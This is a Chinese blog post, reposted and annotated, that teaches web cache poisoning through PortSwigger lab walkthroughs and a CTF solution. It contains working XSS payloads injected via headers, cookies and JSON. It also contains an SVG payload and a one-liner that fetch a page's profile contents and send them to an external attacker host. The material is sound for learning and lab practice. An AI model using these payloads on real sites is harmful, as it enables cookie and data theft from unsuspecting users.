前言
学习了一天缓存投毒，本想自己总结一下，但是网上已经有总结的很好的文章了，
我就不班门弄斧了。所以就来转载一下这篇文章，其中也会适当补充我个人的理解。
侵删：
https://xz.aliyun.com/t/7696#toc-0
一、什么是缓存投毒？
什么是Web缓存：
缓存位于服务器和用户之间，通常在固定的时间内保存（缓存）对特定请求的响应。如果另一个用户在这段时间内发送了同样的请求，则缓存会直接提供响应的副本(缓存)给用户，而无需与服务器直接进行交互。通过减少服务器对重复请求进行处理的次数，来减轻服务器的负担。使用CDN(内容分发网络)就可以达到这样的目的。关于CDN与缓存之间的理解，参考：
https://www.cnblogs.com/shamo89/p/9234705.html
简单来说：
当客户端向CDN节点请求数据时，CDN节点会判断缓存数据是否过期，若缓存数据并没有过期，则直接将缓存数据返回给客户端；否则，CDN节点就会向源站发出回源请求，从源站拉取最新数据，更新本地缓存，并将最新数据返回给客户端。
如下图就是同时间的用户访问同一个内容时，获取资源的过程。
那CDN怎么知道用户要访问的是同一个页面呢？(实际上除了CDN还有其他的缓存技术，这里以CDN为例，其他的暂不了解)
当缓存接收到HTTP请求的时候，它会匹配vary头部指定的HTTP HEADER来进行判断。当指定的头部与缓存中的数据匹配时，则提供缓存的内容。如果不匹配，就直接与服务器交互。这些指定的头部被称作：缓存键 “cache key”。其他的头部就是非缓存键。
https://blog.csdn.net/qq_29405933/article/details/84315254
结论：
Vary是作为响应头由服务器端返回数据时添加的头部信息；
Vary头的内容来自于当前请求的Request头部Key，比如Accept-Encoding、User-Agent等；
缓存服务器进行某接口的网络请求结果数据缓存时，会将Vary一起缓存；
HTTP请求，缓存中Vary的内容会作为当前缓存数据是否可以作为请求结果返回给客户端的判断依据；
HTTP请求，响应数据中的Vary用来判断当前缓存中同请求的数据的Vary是否失效，如果缓存中的Vary与服务器刚拿到的Vary不一致，则可以进行更新。
当Vary的值为“*”，意味着请求头中的所有信息都不可作为是否从缓存服务器拿数据的判断依据。
缓存使用缓存键的概念解决了这个问题 – 使用一些特定要素用于完全标识所请求的资源。
这意味着缓存系统认为以下两个请求是等效的，并且将很乐意的使用从第一个请求缓存的响应来响应第二个请求：
GET /blog/post.php?mobile=1 HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 … Firefox/57.0
Cookie: language=pl;
Connection: close
GET /blog/post.php?mobile=1 HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 … Firefox/57.0
Cookie: language=en;
Connection: close
因此，该页面将以错误的语言输出提供给第二位访问者。这揭示了以下的问题-由非缓存键导致的差异化响应都能够被存储并提供给其他用户。
缓存投毒的原理
在web缓存部分我们知道，当一个页面的内容被缓存后，其他用户访问这个页面时会接收到同样的内容。如果在缓存的过程中，存入了有害的内容，比如存入了一个带有XSS payload的页面。其他用户访问时，就会受到XSS漏洞的攻击。这就是缓存投毒。
简单来说：
攻击者使缓存服务器存储了有害的页面，此时正常用户如果命中了这个缓存，将会被有害页面攻击。
请注意，Web缓存服务中还存在一种称为Web缓存欺骗的不同类型的攻击，不要和缓存投毒弄混了。
Web缓存欺骗看链接：
https://omergil.blogspot.com/2017/02/web-cache-deception-attack.html
Web缓存欺骗简单来说Web缓存欺骗就是代理服务器上设置了静态文件的Web缓存，我们诱使登录用户访问http://www.example.com/home.php/logo.png的攻击者将导致该页面（包含用户的个人内容）被缓存并可以公开访问。那么http://www.example.com/home.php/这个页面将被缓存，在缓存过期前，我们可以随意找一个浏览器访问http://www.example.com/home.php/logo.png得到包含被攻击者敏感信息的正常页面，比如已经登陆后的页面。
好了回归正题我们的缓存投毒：
那什么情况下可以在缓存中写入一个带有XSS的页面呢？或者说其它对用户有害的内容？
二、缓存投毒的发现与利用
这个部分的内容，在参考的文章当中已经有比较完整的步骤描述。大致可以分为以下几个步骤：
1：判断哪些非缓存键会影响页面内容
任何的缓存投毒都依赖于非缓存键，所以我们在一开始就要判断哪些HTTP头部属于缓存键，哪些不属于。再通过修改或添加HTTP头部来判断哪些头部会引起页面内容的变化。常用的两种方式：
i:手动修改或添加HTTP头部，指定随机字符来判断头部是否影响页面内容
ii:使用Brupsuite插件Param Miner来自动判断
2:构造内容引起服务器端的有害响应
针对不同的非缓存键，我们需要知道哪些非缓存键会导致页面返回有害的内容。举一个例子：页面中js链接的域名是通过获取HTTP头部中的“X-Forwarded-Host”字段来设置的。而服务器不会将这个字段作为缓存键，那么这个字段就可以利用。
3:获取响应，使有害内容被缓存
通过构造有害的内容，访问页面，获取响应。就会将有害的内容存入缓存中。需要注意的是，页面是否会被缓存受到文件扩展名、内容类型、url路由、状态代码和响应标头的影响。在测试的会比较麻烦。
看完上面这几个步骤，应该对投毒的过程有了一个大概的了解。现在我们通过几个实验例子来学习具体的缓存利用方式。这里的实验环境为Brupsuite社区的缓存投毒实验案例。目的都是通过缓存投毒来导致XSS漏洞。
三、通过几个实验例子来实践缓存投毒
以下的几个实验过程中，构造了Payload并发送请求之后，都需要等待一段时间才能够解决题目。因为题目后端每分钟会对实验主页进行访问，这时你投毒的缓存才能被后端加载。
1、缓存投毒之资源的危险导入
某些网站会使用非缓存键动态生成页面中的url地址，比如说使用HTTP头部中的“X-Forwarded-Host”字段来设置外部托管的Javascript文件的域名(host)。我们可以通过寻找和利用这样的字段来进行缓存投毒。
题目地址：
https://portswigger.net/web-security/web-cache-poisoning/exploiting/lab-web-cache-poisoning-with-an-unkeyed-header
题目目标：插入XSS payload并弹出cookie。即：alert(document.cookie)
Hint：这个实验使用了X-Forwarded-Host头部
这题比较简单，通过Brupsuite添加一个X-Forwarded-Host，构造一个XSS Payload即可投毒。
X-Forwarded-Host: baidu.com"></script><script>alert(document.cookie)</script>
2、缓存投毒之Cookie导致的XSS
当Cookie中的内容回显到页面上并导致XSS，而Cookie字段不属于缓存键时。就可以构造payload进行缓存投毒。
题目地址：
https://portswigger.net/web-security/web-cache-poisoning/exploiting/lab-web-cache-poisoning-with-an-unkeyed-cookie
题目目标：插入XSS payload并弹出1。即alert(1)
页面中会回显cookie的值到js代码中，构造payload即可弹出1：
fehost=prod-cache-01"}%3Balert(1)%3Babc={"":"
3、多个Header导致的缓存投毒
上面两个实验都是一个Header中的内容导致的问题。但实际情况会有多个Header配合来进行利用。
题目地址：
https://portswigger.net/web-security/web-cache-poisoning/exploiting/lab-web-cache-poisoning-with-multiple-headers
题目目标：插入XSS payload并弹出cookie。即：alert(document.cookie)
Hint：环境使用了 X-Forwarded-Host 和 X-Forwarded-Scheme 头部。
通过测试可以发现，如果指定了X-Forwarded-Scheme头部内容不为https。则页面会进行302跳转到https:// + X-Forwarded-Host 所指定的地址中去。
解决这道题目不能直接对主页进行投毒，而是要对页面中加载的外部js进行投毒。这个环境也给我们提供了一个测试服务，可以在那个页面构造payload进行调用。
构造外部js paylaod：
对外部js进行投毒
X-Forwarded-Host: ac5c1f171eef4cb380f31bdb01c7000c.web-security-academy.netX-Forwarded-Scheme: http://
4、缓存投毒之内容不唯一的缓存键
当服务器通过vary指定内容不唯一的缓存键时，我们需要先通过一些其他的方式先获取到缓存键，再通过指定这个缓存键的内容来进行投毒。来看实验例子：
题目地址：
https://portswigger.net/web-security/web-cache-poisoning/exploiting/lab-web-cache-poisoning-targeted-using-an-unknown-header
题目目标：插入XSS payload并弹出cookie。即：alert(document.cookie)
这题没有Hint，需要自己去寻找一个特殊的非缓存键。通过使用Param Miner工具，寻找到了一个X-Host字段，可以指定页面的js的域名(host)。(这个点卡了我好久，那个工具扫字段特别慢，我一度以为没有这样的字段。)
在服务器返回的头部中可知，vary字段指定了User-Agent为缓存键，如果我们要给目标用户投毒的话，就必须先知道他的User-Agent。题目中有说明：用户分钟会看主页和文章页面。我们可以通过评论一个图片，将图片中的链接改为收集Header的地址。这样就可以收集到目标用户的Header，再通过指定Header进行投毒。
文章评论中置入图片收集User-Agent
收集到的User-Agent：
对主页进行投毒
5、缓存投毒之DOM型的漏洞(DOM-XSS)
很多网站会通过JS从后端来获取和处理其他数据，如果没有对来自服务器的数据进行严格校验的话，可能会导致基于DOM的漏洞。比如说DOM型的XSS。
题目地址：
https://portswigger.net/web-security/web-cache-poisoning/exploiting/lab-web-cache-poisoning-to-exploit-a-dom-vulnerability-via-a-cache-with-strict-cacheability-criteria
题目目标：插入XSS payload并弹出cookie。即：alert(document.cookie)
首先需要通过Param Miner工具寻找一个可利用的字段。页面通过X-Forwarded-Host字段来设置data数据中的host字段。这个地段在之后用作json数据的来源的地址。
页面通过这样一段js来获取用户的地区。并且会将json中的数据通过DOM操作的方式写入到页面上。
<script>
initGeoLocate('//' + data.host + '/resources/json/geolocate.json');
</script>
处理json的js：
function initGeoLocate(jsonUrl)
{
fetch(jsonUrl)
.then(r => r.json())
.then(j => {
let geoLocateContent = document.getElementById('shipping-info');
let img = document.createElement("img");
img.setAttribute("src", "/resources/images/localShipping.svg");
geoLocateContent.appendChild(img)
let div = document.createElement("div");
div.innerHTML = 'Free shipping to ' + j.country;
geoLocateContent.appendChild(div)
});
}
默认的json数据：
{
"country": "United Kingdom"
}
我们可以通过构造X-Forwarded-Host字段来对data.host进行投毒。将js获取的json数据地址指定为我们的恶意地址。恶意内容写入到页面中造成XSS。
构造Pyload
{
"country": "<svg onload=alert(document.cookie)>"
}
需要注意的是，恶意服务器上需要设置CORS，不然js获取不了非同源的数据。
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Access-Control-Allow-Origin: *
访问页面进行投毒
6、多个缓存投毒之间的配合
通过前面5个实验，我们了解到了不同方式的缓存投毒。但有些时候需要我们将多个不同方式的缓存投毒联系起来，互相配合。才能够有效的利用漏洞。
题目地址：
https://portswigger.net/web-security/web-cache-poisoning/exploiting/lab-web-cache-poisoning-combining-vulnerabilities
题目目标：插入XSS payload并弹出cookie。即：alert(document.cookie)
题目描述：某用户每分钟会通过自己的语言转换给English。
题目简要情况：
1：用户可以选择指定语言切换页面的语言
2：语言来自页面中js从后端读取的json数据
3：选择了语言后会访问/setlang/es接口，设置cookie。
4：主页中的js通过获取cookie中的值与json的值动态设置页面语言
题目里面的各个重要的点：
1：通过Param Miner工具可以发现两个可利用的字段。X-Forwarded-Host可以指定页面中data.host，后面用作json数据的域名。X-Original-URL可以使页面跳转到同域名的指定的url中去。
2：通过对js处理逻辑的分析，json中的en字段不能插入payload。其他语言可以通过设置"View details"来插入Payload。
3：两个比较重要的地址：
/setlang/es 设置语言，返回SetCookie头。
/?localized=1 设置完语言后所跳转的地址。
解题思路：
第一处投毒：
1：由于英文(en)不能设置payload，所以我们只能通过设置X-Original-URL强行让用户2：设置为其他类型的语言。
通过设置一种语言中的xsspayload，让用户强行跳转过来
第二处投毒：
1：json数据页面的投毒，让用户读取到恶意的带有xss payload的数据。
解题：
投毒主页让用户强行跳转到cn语言中
这里有个Trick就是X-Original-URL字段要设置为/setlangcn，而不是/setlang/cn。这是因为后者跳转过去会有Set-Cookie字段，导致页面无法缓存。前者浏览器要先经过一个处理——将转换为/。就不会有Set-Cookie字段了
投毒/?localized=1 页面让用户读取到恶意数据
恶意数据的Header：
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Access-Control-Allow-Origin: *
恶意json数据：
{
"en": {
"name": "English"
},
"cn": {
"name": "a",
"translations": {
"Return to list": "123",
"View details": "<svg onload=alert(document.cookie)>",
"Description:": "456"
}
}
}
可以使用Brupsuite持续的向这两个页面发送数据进行投毒，不然的话后端可能会访问不到。
四、使用缓存投毒来解CTF题
打算整理缓存投毒是因为这篇文章：通过一道题了解缓存投毒和SVG XSS 这个CTF题也是文章里面的内容。我这里只记录一下简要的解题过程。
https://xz.aliyun.com/t/4492#toc-2
题目地址：http://web50.zajebistyc.tf/
正常解题
构造SVG XSS Payload上传到服务器，将图片地址发送给管理员即可获得Flag。(http://***/是自己的vps地址)
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="100px" height="100px" viewBox="0 0 751 751" enable-background="new 0 0 751 751" xml:space="preserve"> <image id="image0" width="751" height="751" x="0" y="0"
href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAu8AAALvCAIAAABa4bwGAAAAIGNIUk0AAHomAACAhAAA+gAAAIDo" />
<script>
fetch("/profile").then(function (e) {
e.text().then(function (f) {
console.log(btoa(f));
fetch("http://***/?" + btoa(f))
})
})
</script>
</svg>
更简短的payload，通过正则匹配源码中的secret：
fetch("/profile").then(function(e){e.text().then(function(f){new/**/Image().src='//avlidienbrunn.se/?'+/secret(.*)>/.exec(f)[0]})})
缓存投毒方式
这种方式比前面的要复杂，能够这样解题的原因有以下几点：
1：题目使用了cloudflare来作CDN缓存，会对js、img这类静态文件进行缓存
2：题目运行你设置任意的文件名，且个人信息页面为名称结尾。例如，我将文件名设置为Smi1e.js，则个人信息页面就是/profile/Smi1e.js。CDN会将其缓存
个人信息页面的鞋码处存在XSS
3：通过这几点就很容易构造出缓存投毒的payload，但是之前在缓存部分我们知道，缓存受到地区的限制，不同地区不会访问到同一个缓存。在构造和利用这个缓存投毒时，我们需要购买一个与题目环境相对应的服务器进行利用。这里就直接看下别人的exp吧：https://ctftime.org/writeup/13925
整个exp利用的步骤如下：
1：页面上的 shoesize处存在xss，构造一个利用的数据包。
2：注册一个以.js的用户名
3：发送构造的数据包
4:访问/profile/name.js页面
5:report地址
需要注意的是在这个题目环境当中，vary字段中的Cookie并没有生效。原因：
理论上来说，网站可以使用“Vary”响应头来指定额外应该加入到缓存键中的其他请求头。在实践中，对Vary响应头的使用仅停留在理论阶段，像Cloudflare这样的CDN完全忽略它，大家甚至没有意识到他们的应用程序支持任何基于请求头的输入。
——https://www.anquanke.com/post/id/156356
转载来源
https://xz.aliyun.com/t/7696#toc-8
此外还有几个链接讲的缓存投毒也不错，也就是原文的参考链接，不过我个人觉得这篇文章用来入门再适合不过了，像深入的可以去看以下链接：